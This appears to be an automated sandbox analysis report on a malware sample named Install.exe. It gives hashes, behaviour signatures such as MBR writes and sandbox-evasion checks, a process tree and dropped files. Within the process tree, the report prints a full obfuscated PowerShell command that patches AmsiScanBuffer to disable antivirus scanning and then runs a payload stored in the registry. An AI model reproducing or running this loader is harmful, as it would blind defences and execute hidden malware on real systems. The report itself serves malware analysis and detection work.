Analysis

  • max time kernel
    150s
  • max time network
    107s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240709-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240709-enlocale:en-usos:windows10-2004-x64system
  • submitted
    20-07-2024 12:51

General

  • Target

    Install.exe

  • Size

    163KB

  • MD5

    1a7d1b5d24ba30c4d3d5502295ab5e89

  • SHA1

    2d5e69cf335605ba0a61f0bbecbea6fc06a42563

  • SHA256

    b2cc4454c0a4fc80b1fc782c45ac7f76b1d95913d259090a2523819aeec88eb5

  • SHA512

    859180338958509934d22dbc9be9da896118739d87727eb68744713259e819551f7534440c545185f469da03c86d96e425cdf5aae3fb027bb8b7f51044e08eaa

  • SSDEEP

    3072:TQpsSyjlzA664oL8tIoDJxGtIVORPrdAHjl3+uwF+iBDZ/wXxnTFKe8kaz:TQpsSyjlzfnoNGxGo6PrdAHwtMxn4e8N

Score
10/10

Malware Config

Signatures

  • Suspicious use of NtCreateUserProcessOtherParentProcess 1 IoCs
  • Sets service image path in registry 2 TTPs 1 IoCs
  • Checks BIOS information in registry 2 TTPs 2 IoCs

    BIOS information is often read in order to detect sandboxing environments.

  • Enumerates connected drives 3 TTPs 23 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Writes to the Master Boot Record (MBR) 1 TTPs 1 IoCs

    Bootkits write to the MBR to gain persistence at a level below the operating system.

  • Drops file in System32 directory 19 IoCs
  • Suspicious use of SetThreadContext 1 IoCs
  • Drops file in Windows directory 7 IoCs
  • Checks SCSI registry key(s) 3 TTPs 18 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Checks processor information in registry 2 TTPs 7 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Enumerates system info in registry 2 TTPs 3 IoCs
  • Modifies data under HKEY_USERS 64 IoCs
  • Modifies registry class 64 IoCs
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: GetForegroundWindowSpam 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of UnmapMainImage 1 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

Processes

  • C:\Windows\system32\winlogon.exe
    winlogon.exe
    1⤵
      PID:588
      • C:\Windows\system32\dwm.exe
        "dwm.exe"
        2⤵
          PID:384
        • C:\Windows\System32\dllhost.exe
          C:\Windows\System32\dllhost.exe /Processid:{f234f5db-a51b-4522-8768-ceaccc655685}
          2⤵
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of WriteProcessMemory
          PID:1412
      • C:\Windows\system32\lsass.exe
        C:\Windows\system32\lsass.exe
        1⤵
          PID:676
        • C:\Windows\system32\svchost.exe
          C:\Windows\system32\svchost.exe -k DcomLaunch -p -s LSM
          1⤵
            PID:952
          • C:\Windows\system32\svchost.exe
            C:\Windows\system32\svchost.exe -k netsvcs -p -s gpsvc
            1⤵
              PID:736
            • C:\Windows\System32\svchost.exe
              C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s lmhosts
              1⤵
                PID:868
              • C:\Windows\System32\svchost.exe
                C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s NcbService
                1⤵
                  PID:1096
                • C:\Windows\system32\svchost.exe
                  C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s TimeBrokerSvc
                  1⤵
                    PID:1108
                  • C:\Windows\system32\svchost.exe
                    C:\Windows\system32\svchost.exe -k netsvcs -p -s Schedule
                    1⤵
                    • Drops file in System32 directory
                    PID:1140
                    • C:\Windows\system32\taskhostw.exe
                      taskhostw.exe {222A245B-E637-4AE9-A93F-A59CA119A75E}
                      2⤵
                        PID:2776
                      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE
                        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE "function Local:mPoEFeWnnVPP{Param([OutputType([Type])][Parameter(Position=0)][Type[]]$vpiAVxfcESjxVR,[Parameter(Position=1)][Type]$jiuwHFgiSX)$qDERJPBpZLP=[AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object Reflection.AssemblyName(''+[Char](82)+'e'+[Char](102)+''+'l'+''+'e'+''+[Char](99)+''+'t'+''+[Char](101)+''+'d'+'D'+'e'+''+[Char](108)+''+'e'+''+[Char](103)+''+[Char](97)+''+[Char](116)+'e')),[Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule(''+[Char](73)+'n'+'M'+''+[Char](101)+''+[Char](109)+''+'o'+''+[Char](114)+''+[Char](121)+''+[Char](77)+''+[Char](111)+''+'d'+''+'u'+''+[Char](108)+''+[Char](101)+'',$False).DefineType(''+'M'+''+'y'+''+'D'+''+[Char](101)+''+'l'+''+[Char](101)+''+[Char](103)+'a'+[Char](116)+''+[Char](101)+'T'+[Char](121)+''+[Char](112)+'e',''+[Char](67)+'l'+[Char](97)+'ss'+[Char](44)+'P'+[Char](117)+'bli'+'c'+''+[Char](44)+''+'S'+''+[Char](101)+'al'+[Char](101)+'d'+[Char](44)+'A'+'n'+''+[Char](115)+''+[Char](105)+'C'+[Char](108)+'a'+[Char](115)+''+[Char](115)+''+[Char](44)+''+[Char](65)+''+[Char](117)+''+'t'+''+[Char](111)+''+[Char](67)+''+[Char](108)+''+[Char](97)+''+[Char](115)+''+[Char](115)+'',[MulticastDelegate]);$qDERJPBpZLP.DefineConstructor(''+'R'+'T'+'S'+''+[Char](112)+''+[Char](101)+''+'c'+''+[Char](105)+'a'+'l'+'N'+[Char](97)+'m'+[Char](101)+''+','+'H'+'i'+''+'d'+'e'+[Char](66)+'y'+[Char](83)+''+[Char](105)+''+'g'+''+[Char](44)+''+'P'+''+[Char](117)+''+'b'+'l'+'i'+'c',[Reflection.CallingConventions]::Standard,$vpiAVxfcESjxVR).SetImplementationFlags('R'+[Char](117)+''+'n'+''+[Char](116)+'i'+'m'+''+[Char](101)+''+[Char](44)+''+[Char](77)+'an'+[Char](97)+''+[Char](103)+'e'+[Char](100)+'');$qDERJPBpZLP.DefineMethod(''+'I'+''+[Char](110)+'v'+[Char](111)+'k'+'e'+'',''+[Char](80)+''+'u'+''+[Char](98)+''+[Char](108)+'ic'+','+''+[Char](72)+''+'i'+''+'d'+''+[Char](101)+''+'B'+''+[Char](121)+''+[Char](83)+''+[Char](105)+''+[Char](103)+','+[Char](78)+''+[Char](101)+''+[Char](119)+''+[Char](83)+''+[Char](108)+''+[Char](111)+'t,Vi'+[Char](114)+''+'t'+''+[Char](117)+''+[Char](97)+'l',$jiuwHFgiSX,$vpiAVxfcESjxVR).SetImplementationFlags(''+[Char](82)+''+'u'+''+[Char](110)+'t'+[Char](105)+''+[Char](109)+'e'+[Char](44)+''+[Char](77)+''+[Char](97)+''+[Char](110)+''+'a'+''+[Char](103)+''+[Char](101)+'d');Write-Output $qDERJPBpZLP.CreateType();}$bdfXQAYTrwWmC=([AppDomain]::CurrentDomain.GetAssemblies()|Where-Object{$_.GlobalAssemblyCache -And $_.Location.Split('\')[-1].Equals(''+[Char](83)+''+[Char](121)+''+'s'+''+[Char](116)+''+[Char](101)+'m.'+'d'+''+[Char](108)+''+[Char](108)+'')}).GetType(''+[Char](77)+''+'i'+'c'+'r'+''+'o'+''+'s'+''+[Char](111)+''+[Char](102)+''+[Char](116)+''+[Char](46)+''+[Char](87)+''+[Char](105)+''+'n'+''+'3'+'2'+'.'+''+'U'+''+'n'+''+'s'+'a'+[Char](102)+''+[Char](101)+'N'+[Char](97)+''+[Char](116)+''+'i'+''+[Char](118)+''+[Char](101)+''+[Char](77)+'e'+[Char](116)+''+[Char](104)+'o'+'d'+''+'s'+'');$unnQsWdfnpTZCH=$bdfXQAYTrwWmC.GetMethod(''+[Char](71)+''+[Char](101)+'tP'+'r'+''+[Char](111)+''+[Char](99)+'A'+[Char](100)+''+[Char](100)+''+[Char](114)+'e'+[Char](115)+''+[Char](115)+'',[Reflection.BindingFlags](''+[Char](80)+''+[Char](117)+''+[Char](98)+''+'l'+''+[Char](105)+'c'+[Char](44)+'St'+[Char](97)+'t'+[Char](105)+''+[Char](99)+''),$Null,[Reflection.CallingConventions]::Any,@((New-Object IntPtr).GetType(),[string]),$Null);$PbeOiuTiPPbmBqOmehx=mPoEFeWnnVPP @([String])([IntPtr]);$joqkcmrsFOgoqABJWQBivQ=mPoEFeWnnVPP @([IntPtr],[UIntPtr],[UInt32],[UInt32].MakeByRefType())([Bool]);$OgNcBCKfQYb=$bdfXQAYTrwWmC.GetMethod(''+'G'+''+[Char](101)+''+'t'+''+[Char](77)+'o'+'d'+''+[Char](117)+'l'+'e'+''+[Char](72)+''+[Char](97)+''+[Char](110)+''+[Char](100)+'l'+[Char](101)+'').Invoke($Null,@([Object](''+'k'+''+[Char](101)+''+[Char](114)+''+[Char](110)+''+'e'+''+[Char](108)+''+[Char](51)+'2'+[Char](46)+'d'+[Char](108)+''+[Char](108)+'')));$ypBjDWYGkHRrMM=$unnQsWdfnpTZCH.Invoke($Null,@([Object]$OgNcBCKfQYb,[Object]('L'+'o'+'a'+[Char](100)+''+[Char](76)+''+[Char](105)+'b'+[Char](114)+'a'+'r'+''+[Char](121)+'A')));$yWoMitfvzFTTUjDaY=$unnQsWdfnpTZCH.Invoke($Null,@([Object]$OgNcBCKfQYb,[Object](''+[Char](86)+''+'i'+''+[Char](114)+''+[Char](116)+'u'+[Char](97)+''+[Char](108)+''+[Char](80)+'r'+[Char](111)+''+[Char](116)+''+[Char](101)+''+[Char](99)+''+'t'+'')));$zlhBtse=[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($ypBjDWYGkHRrMM,$PbeOiuTiPPbmBqOmehx).Invoke(''+[Char](97)+''+'m'+''+'s'+''+[Char](105)+''+'.'+''+[Char](100)+'l'+'l'+'');$pulCvDTalJePJDRru=$unnQsWdfnpTZCH.Invoke($Null,@([Object]$zlhBtse,[Object](''+[Char](65)+'m'+[Char](115)+'iS'+[Char](99)+''+[Char](97)+''+'n'+''+'B'+''+[Char](117)+''+[Char](102)+''+[Char](102)+''+[Char](101)+''+'r'+'')));$tqppkjbpdW=0;[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($yWoMitfvzFTTUjDaY,$joqkcmrsFOgoqABJWQBivQ).Invoke($pulCvDTalJePJDRru,[uint32]8,4,[ref]$tqppkjbpdW);[Runtime.InteropServices.Marshal]::Copy([Byte[]](0xb8,0x57,0,7,0x80,0xc3),0,$pulCvDTalJePJDRru,6);[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($yWoMitfvzFTTUjDaY,$joqkcmrsFOgoqABJWQBivQ).Invoke($pulCvDTalJePJDRru,[uint32]8,0x20,[ref]$tqppkjbpdW);[Reflection.Assembly]::Load([Microsoft.Win32.Registry]::LocalMachine.OpenSubkey(''+[Char](83)+''+[Char](79)+''+'F'+'T'+'W'+'A'+[Char](82)+'E').GetValue(''+'$'+'7'+[Char](55)+''+[Char](115)+''+[Char](116)+''+[Char](97)+'g'+[Char](101)+''+[Char](114)+'')).EntryPoint.Invoke($Null,$Null)"
                        2⤵
                        • Suspicious use of NtCreateUserProcessOtherParentProcess
                        • Drops file in System32 directory
                        • Suspicious use of SetThreadContext
                        • Modifies data under HKEY_USERS
                        • Suspicious behavior: EnumeratesProcesses
                        • Suspicious use of AdjustPrivilegeToken
                        • Suspicious use of WriteProcessMemory
                        PID:316
                    • C:\Windows\System32\svchost.exe
                      C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s EventLog
                      1⤵
                      • Drops file in System32 directory
                      PID:1168
                    • C:\Windows\system32\svchost.exe
                      C:\Windows\system32\svchost.exe -k netsvcs -p -s ProfSvc
                      1⤵
                        PID:1252
                      • C:\Windows\system32\svchost.exe
                        C:\Windows\system32\svchost.exe -k LocalService -p -s nsi
                        1⤵
                          PID:1292
                        • C:\Windows\system32\svchost.exe
                          C:\Windows\system32\svchost.exe -k LocalService -p -s DispBrokerDesktopSvc
                          1⤵
                            PID:1356
                          • C:\Windows\system32\svchost.exe
                            C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s Dhcp
                            1⤵
                              PID:1388
                            • C:\Windows\system32\svchost.exe
                              C:\Windows\system32\svchost.exe -k netsvcs -p -s UserManager
                              1⤵
                                PID:1396
                                • C:\Windows\system32\sihost.exe
                                  sihost.exe
                                  2⤵
                                    PID:2632
                                • C:\Windows\System32\svchost.exe
                                  C:\Windows\System32\svchost.exe -k NetworkService -p -s NlaSvc
                                  1⤵
                                    PID:1572
                                  • C:\Windows\system32\svchost.exe
                                    C:\Windows\system32\svchost.exe -k LocalService -p -s EventSystem
                                    1⤵
                                      PID:1588
                                    • C:\Windows\System32\svchost.exe
                                      C:\Windows\System32\svchost.exe -k netsvcs -p -s Themes
                                      1⤵
                                        PID:1600
                                      • C:\Windows\system32\svchost.exe
                                        C:\Windows\system32\svchost.exe -k netsvcs -p -s SENS
                                        1⤵
                                          PID:1704
                                        • C:\Windows\System32\svchost.exe
                                          C:\Windows\System32\svchost.exe -k LocalService -p -s netprofm
                                          1⤵
                                            PID:1724
                                          • C:\Windows\System32\svchost.exe
                                            C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s AudioEndpointBuilder
                                            1⤵
                                              PID:1848
                                            • C:\Windows\System32\svchost.exe
                                              C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p
                                              1⤵
                                                PID:1924
                                              • C:\Windows\system32\svchost.exe
                                                C:\Windows\system32\svchost.exe -k netsvcs -p -s Winmgmt
                                                1⤵
                                                • Suspicious use of AdjustPrivilegeToken
                                                PID:1948
                                              • C:\Windows\system32\svchost.exe
                                                C:\Windows\system32\svchost.exe -k NetworkService -p -s Dnscache
                                                1⤵
                                                  PID:1992
                                                • C:\Windows\system32\svchost.exe
                                                  C:\Windows\system32\svchost.exe -k appmodel -p -s StateRepository
                                                  1⤵
                                                    PID:1508
                                                  • C:\Windows\System32\svchost.exe
                                                    C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p
                                                    1⤵
                                                      PID:1864
                                                    • C:\Windows\System32\svchost.exe
                                                      C:\Windows\System32\svchost.exe -k netsvcs -p -s ShellHWDetection
                                                      1⤵
                                                        PID:2064
                                                      • C:\Windows\System32\spoolsv.exe
                                                        C:\Windows\System32\spoolsv.exe
                                                        1⤵
                                                          PID:2128
                                                        • C:\Windows\System32\svchost.exe
                                                          C:\Windows\System32\svchost.exe -k NetworkService -p -s LanmanWorkstation
                                                          1⤵
                                                            PID:2268
                                                          • C:\Windows\System32\svchost.exe
                                                            C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -s RmSvc
                                                            1⤵
                                                              PID:2364
                                                            • C:\Windows\system32\svchost.exe
                                                              C:\Windows\system32\svchost.exe -k NetworkServiceNetworkRestricted -p -s PolicyAgent
                                                              1⤵
                                                                PID:2480
                                                              • C:\Windows\system32\svchost.exe
                                                                C:\Windows\system32\svchost.exe -k netsvcs -p -s IKEEXT
                                                                1⤵
                                                                  PID:2488
                                                                • C:\Windows\system32\svchost.exe
                                                                  C:\Windows\system32\svchost.exe -k UnistackSvcGroup -s CDPUserSvc
                                                                  1⤵
                                                                    PID:2640
                                                                  • C:\Windows\system32\svchost.exe
                                                                    C:\Windows\system32\svchost.exe -k NetworkService -p -s CryptSvc
                                                                    1⤵
                                                                    • Drops file in System32 directory
                                                                    • Modifies data under HKEY_USERS
                                                                    PID:2736
                                                                  • C:\Windows\system32\svchost.exe
                                                                    C:\Windows\system32\svchost.exe -k netsvcs -p -s LanmanServer
                                                                    1⤵
                                                                    • Enumerates connected drives
                                                                    PID:2788
                                                                  • C:\Windows\sysmon.exe
                                                                    C:\Windows\sysmon.exe
                                                                    1⤵
                                                                      PID:2820
                                                                    • C:\Windows\system32\svchost.exe
                                                                      C:\Windows\system32\svchost.exe -k netsvcs -p -s TokenBroker
                                                                      1⤵
                                                                        PID:2840
                                                                      • C:\Windows\System32\svchost.exe
                                                                        C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s TrkWks
                                                                        1⤵
                                                                          PID:2884
                                                                        • C:\Windows\system32\svchost.exe
                                                                          C:\Windows\system32\svchost.exe -k netsvcs -p -s WpnService
                                                                          1⤵
                                                                            PID:2892
                                                                          • C:\Windows\system32\wbem\unsecapp.exe
                                                                            C:\Windows\system32\wbem\unsecapp.exe -Embedding
                                                                            1⤵
                                                                              PID:2880
                                                                            • C:\Windows\system32\svchost.exe
                                                                              C:\Windows\system32\svchost.exe -k LocalService -p -s CDPSvc
                                                                              1⤵
                                                                                PID:3404
                                                                              • C:\Windows\Explorer.EXE
                                                                                C:\Windows\Explorer.EXE
                                                                                1⤵
                                                                                • Suspicious behavior: GetForegroundWindowSpam
                                                                                • Suspicious use of UnmapMainImage
                                                                                PID:3500
                                                                                • C:\Users\Admin\AppData\Local\Temp\Install.exe
                                                                                  "C:\Users\Admin\AppData\Local\Temp\Install.exe"
                                                                                  2⤵
                                                                                    PID:3932
                                                                                • C:\Windows\system32\svchost.exe
                                                                                  C:\Windows\system32\svchost.exe -k ClipboardSvcGroup -p -s cbdhsvc
                                                                                  1⤵
                                                                                    PID:3644
                                                                                  • C:\Windows\system32\DllHost.exe
                                                                                    C:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}
                                                                                    1⤵
                                                                                      PID:3816
                                                                                    • C:\Windows\System32\RuntimeBroker.exe
                                                                                      C:\Windows\System32\RuntimeBroker.exe -Embedding
                                                                                      1⤵
                                                                                        PID:3976
                                                                                      • C:\Windows\System32\RuntimeBroker.exe
                                                                                        C:\Windows\System32\RuntimeBroker.exe -Embedding
                                                                                        1⤵
                                                                                          PID:1884
                                                                                        • C:\Windows\System32\RuntimeBroker.exe
                                                                                          C:\Windows\System32\RuntimeBroker.exe -Embedding
                                                                                          1⤵
                                                                                            PID:2424
                                                                                          • C:\Windows\System32\svchost.exe
                                                                                            C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s StorSvc
                                                                                            1⤵
                                                                                              PID:2408
                                                                                            • C:\Windows\system32\svchost.exe
                                                                                              C:\Windows\system32\svchost.exe -k LocalServiceAndNoImpersonation -p -s SSDPSRV
                                                                                              1⤵
                                                                                                PID:1428
                                                                                              • C:\Windows\system32\svchost.exe
                                                                                                C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s WinHttpAutoProxySvc
                                                                                                1⤵
                                                                                                  PID:4348
                                                                                                • C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe
                                                                                                  "C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe" /service
                                                                                                  1⤵
                                                                                                  • Drops file in System32 directory
                                                                                                  • Modifies data under HKEY_USERS
                                                                                                  PID:3056
                                                                                                • C:\Windows\system32\SppExtComObj.exe
                                                                                                  C:\Windows\system32\SppExtComObj.exe -Embedding
                                                                                                  1⤵
                                                                                                    PID:1028
                                                                                                  • C:\Windows\System32\svchost.exe
                                                                                                    C:\Windows\System32\svchost.exe -k LocalService -p -s LicenseManager
                                                                                                    1⤵
                                                                                                      PID:3656
                                                                                                    • C:\Windows\system32\svchost.exe
                                                                                                      C:\Windows\system32\svchost.exe -k netsvcs -p -s wlidsvc
                                                                                                      1⤵
                                                                                                      • Drops file in System32 directory
                                                                                                      PID:2088
                                                                                                    • C:\Windows\system32\DllHost.exe
                                                                                                      C:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}
                                                                                                      1⤵
                                                                                                        PID:2344
                                                                                                      • C:\Windows\system32\svchost.exe
                                                                                                        C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s NgcCtnrSvc
                                                                                                        1⤵
                                                                                                          PID:1088
                                                                                                        • C:\Windows\system32\backgroundTaskHost.exe
                                                                                                          "C:\Windows\system32\backgroundTaskHost.exe" -ServerName:App.AppXmtcan0h2tfbfy7k9kn8hbxb6dmzz1zh0.mca
                                                                                                          1⤵
                                                                                                            PID:1184
                                                                                                          • C:\Windows\System32\RuntimeBroker.exe
                                                                                                            C:\Windows\System32\RuntimeBroker.exe -Embedding
                                                                                                            1⤵
                                                                                                              PID:1380
                                                                                                            • C:\Windows\System32\RuntimeBroker.exe
                                                                                                              C:\Windows\System32\RuntimeBroker.exe -Embedding
                                                                                                              1⤵
                                                                                                              • Modifies registry class
                                                                                                              PID:1152
                                                                                                            • C:\Windows\System32\WaaSMedicAgent.exe
                                                                                                              C:\Windows\System32\WaaSMedicAgent.exe 0158a8b473773aff7b4e6fc095424978 UjGm6FXTYESOBWvn82z+fA.0.1.0.0.0
                                                                                                              1⤵
                                                                                                              • Sets service image path in registry
                                                                                                              • Modifies data under HKEY_USERS
                                                                                                              PID:4596
                                                                                                              • C:\Windows\System32\Conhost.exe
                                                                                                                \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                2⤵
                                                                                                                  PID:3780
                                                                                                              • C:\Windows\system32\svchost.exe
                                                                                                                C:\Windows\system32\svchost.exe -k netsvcs -p -s wuauserv
                                                                                                                1⤵
                                                                                                                • Drops file in Windows directory
                                                                                                                • Suspicious use of AdjustPrivilegeToken
                                                                                                                PID:2360
                                                                                                              • C:\Windows\system32\wbem\wmiprvse.exe
                                                                                                                C:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding
                                                                                                                1⤵
                                                                                                                • Checks BIOS information in registry
                                                                                                                • Writes to the Master Boot Record (MBR)
                                                                                                                • Checks SCSI registry key(s)
                                                                                                                • Enumerates system info in registry
                                                                                                                PID:4104
                                                                                                              • C:\Windows\servicing\TrustedInstaller.exe
                                                                                                                C:\Windows\servicing\TrustedInstaller.exe
                                                                                                                1⤵
                                                                                                                  PID:3684
                                                                                                                • C:\Windows\system32\backgroundTaskHost.exe
                                                                                                                  "C:\Windows\system32\backgroundTaskHost.exe" -ServerName:ShellFeedsUI.AppXnj65k2d1a1rnztt2t2nng5ctmk3e76pn.mca
                                                                                                                  1⤵
                                                                                                                    PID:3804
                                                                                                                  • C:\Windows\system32\svchost.exe
                                                                                                                    C:\Windows\system32\svchost.exe -k netsvcs -p -s UsoSvc
                                                                                                                    1⤵
                                                                                                                      PID:3536
                                                                                                                    • C:\Windows\System32\mousocoreworker.exe
                                                                                                                      C:\Windows\System32\mousocoreworker.exe -Embedding
                                                                                                                      1⤵
                                                                                                                      • Checks processor information in registry
                                                                                                                      • Enumerates system info in registry
                                                                                                                      • Modifies data under HKEY_USERS
                                                                                                                      PID:2388
                                                                                                                    • C:\Windows\winsxs\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.19041.1220_none_7e21bc567c7ed16b\TiWorker.exe
                                                                                                                      C:\Windows\winsxs\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.19041.1220_none_7e21bc567c7ed16b\TiWorker.exe -Embedding
                                                                                                                      1⤵
                                                                                                                      • Drops file in Windows directory
                                                                                                                      PID:2140
                                                                                                                    • C:\Windows\system32\backgroundTaskHost.exe
                                                                                                                      "C:\Windows\system32\backgroundTaskHost.exe" -ServerName:App.AppXmtcan0h2tfbfy7k9kn8hbxb6dmzz1zh0.mca
                                                                                                                      1⤵
                                                                                                                        PID:4556
                                                                                                                      • C:\Windows\system32\backgroundTaskHost.exe
                                                                                                                        "C:\Windows\system32\backgroundTaskHost.exe" -ServerName:App.AppXmtcan0h2tfbfy7k9kn8hbxb6dmzz1zh0.mca
                                                                                                                        1⤵
                                                                                                                          PID:792
                                                                                                                        • C:\Windows\system32\BackgroundTransferHost.exe
                                                                                                                          "BackgroundTransferHost.exe" -ServerName:BackgroundTransferHost.1
                                                                                                                          1⤵
                                                                                                                            PID:4572
                                                                                                                          • C:\Windows\System32\RuntimeBroker.exe
                                                                                                                            C:\Windows\System32\RuntimeBroker.exe -Embedding
                                                                                                                            1⤵
                                                                                                                              PID:2620

                                                                                                                            Network

                                                                                                                            MITRE ATT&CK Enterprise v15

                                                                                                                            Replay Monitor

                                                                                                                            Loading Replay Monitor...

                                                                                                                            Downloads

                                                                                                                            • C:\Windows\System32\Tasks\Microsoft\Windows\UpdateOrchestrator\Schedule Maintenance Work

                                                                                                                              Filesize

                                                                                                                              2KB

                                                                                                                              MD5

                                                                                                                              8abf2d6067c6f3191a015f84aa9b6efe

                                                                                                                              SHA1

                                                                                                                              98f2b0a5cdb13cd3d82dc17bd43741bf0b3496f7

                                                                                                                              SHA256

                                                                                                                              ee18bd3259f220c41062abcbe71a421da3e910df11b9f86308a16cdc3a66fbea

                                                                                                                              SHA512

                                                                                                                              c2d686a6373efcff583c1ef50c144c59addb8b9c4857ccd8565cd8be3c94b0ac0273945167eb04ebd40dfb0351e4b66cffe4c4e478fb7733714630a11f765b63

                                                                                                                            • C:\Windows\System32\Tasks\Microsoft\Windows\UpdateOrchestrator\Schedule Maintenance Work

                                                                                                                              Filesize

                                                                                                                              2KB

                                                                                                                              MD5

                                                                                                                              f313c5b4f95605026428425586317353

                                                                                                                              SHA1

                                                                                                                              06be66fa06e1cffc54459c38d3d258f46669d01a

                                                                                                                              SHA256

                                                                                                                              129d0b993cd3858af5b7e87fdf74d8e59e6f2110184b5c905df8f5f6f2c39d8b

                                                                                                                              SHA512

                                                                                                                              b87a829c86eff1d10e1590b18a9909f05101a535e5f4cef914a4192956eb35a8bfef614c9f95d53783d77571687f3eb3c4e8ee2f24d23ad24e0976d8266b8890

                                                                                                                            • C:\Windows\System32\Tasks\Microsoft\Windows\UpdateOrchestrator\Schedule Wake To Work

                                                                                                                              Filesize

                                                                                                                              2KB

                                                                                                                              MD5

                                                                                                                              ceb7caa4e9c4b8d760dbf7e9e5ca44c5

                                                                                                                              SHA1

                                                                                                                              a3879621f9493414d497ea6d70fbf17e283d5c08

                                                                                                                              SHA256

                                                                                                                              98c054088df4957e8d6361fd2539c219bcf35f8a524aad8f5d1a95f218e990e9

                                                                                                                              SHA512

                                                                                                                              1eddfbf4cb62d3c5b4755a371316304aaeabb00f01bad03fb4f925a98a2f0824f613537d86deddd648a74d694dc13ed5183e761fdc1ec92589f6fa28beb7fbff

                                                                                                                            • C:\Windows\System32\Tasks\Microsoft\Windows\UpdateOrchestrator\Schedule Wake To Work

                                                                                                                              Filesize

                                                                                                                              2KB

                                                                                                                              MD5

                                                                                                                              7d612892b20e70250dbd00d0cdd4f09b

                                                                                                                              SHA1

                                                                                                                              63251cfa4e5d6cbf6fb14f6d8a7407dbe763d3f5

                                                                                                                              SHA256

                                                                                                                              727c9e7b91e144e453d5b32e18f12508ee84dabe71bc852941d9c9b4923f9e02

                                                                                                                              SHA512

                                                                                                                              f8d481f3300947d49ce5ab988a9d4e3154746afccc97081cbed1135ffb24fc107203d485dda2d5d714e74e752c614d8cfd16781ea93450fe782ffae3f77066d1

                                                                                                                            • C:\Windows\System32\Tasks\Microsoft\Windows\UpdateOrchestrator\Schedule Work

                                                                                                                              Filesize

                                                                                                                              2KB

                                                                                                                              MD5

                                                                                                                              1e8e2076314d54dd72e7ee09ff8a52ab

                                                                                                                              SHA1

                                                                                                                              5fd0a67671430f66237f483eef39ff599b892272

                                                                                                                              SHA256

                                                                                                                              55f203d6b40a39a6beba9dd3a2cb9034284f49578009835dd4f0f8e1db6ebe2f

                                                                                                                              SHA512

                                                                                                                              5b0c97284923c4619d9c00cba20ce1c6d65d1826abe664c390b04283f7a663256b4a6efe51f794cb5ec82ccea80307729addde841469da8d041cbcfd94feb0f6

                                                                                                                            • C:\Windows\System32\Tasks\Microsoft\Windows\UpdateOrchestrator\Schedule Work

                                                                                                                              Filesize

                                                                                                                              2KB

                                                                                                                              MD5

                                                                                                                              0b990e24f1e839462c0ac35fef1d119e

                                                                                                                              SHA1

                                                                                                                              9e17905f8f68f9ce0a2024d57b537aa8b39c6708

                                                                                                                              SHA256

                                                                                                                              a1106ed0845cd438e074344e0fe296dc10ee121a0179e09398eaaea2357c614a

                                                                                                                              SHA512

                                                                                                                              c65ba42fc0a2cb0b70888beb8ca334f7d5a8eaf954a5ef7adaecbcb4ce8d61b34858dfd9560954f95f59b4d8110a79ceaa39088b6a0caf8b42ceda41b46ec4a4

                                                                                                                            • C:\Windows\Temp\__PSScriptPolicyTest_qfcw5zok.5jb.ps1

                                                                                                                              Filesize

                                                                                                                              60B

                                                                                                                              MD5

                                                                                                                              d17fe0a3f47be24a6453e9ef58c94641

                                                                                                                              SHA1

                                                                                                                              6ab83620379fc69f80c0242105ddffd7d98d5d9d

                                                                                                                              SHA256

                                                                                                                              96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

                                                                                                                              SHA512

                                                                                                                              5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

                                                                                                                            • C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\7423F88C7F265F0DEFC08EA88C3BDE45_AA1E8580D4EBC816148CE81268683776

                                                                                                                              Filesize

                                                                                                                              404B

                                                                                                                              MD5

                                                                                                                              0d6034fdb4da18827f4ae0031d9d3b79

                                                                                                                              SHA1

                                                                                                                              7b923af185ea7a060de8559c741c1aada4a21a33

                                                                                                                              SHA256

                                                                                                                              9f1c64e3a19014474d7175c0ff44ba36ff5606b34c3b37b86d661ca988bdcbff

                                                                                                                              SHA512

                                                                                                                              4660c0388cc856323983398464bc276ed72402e8975f729129fcf2bc3753ad775794ce9c3323fa3a9342d93d127a541d4f0c5de0a7b99bf01010e8defcfaa221

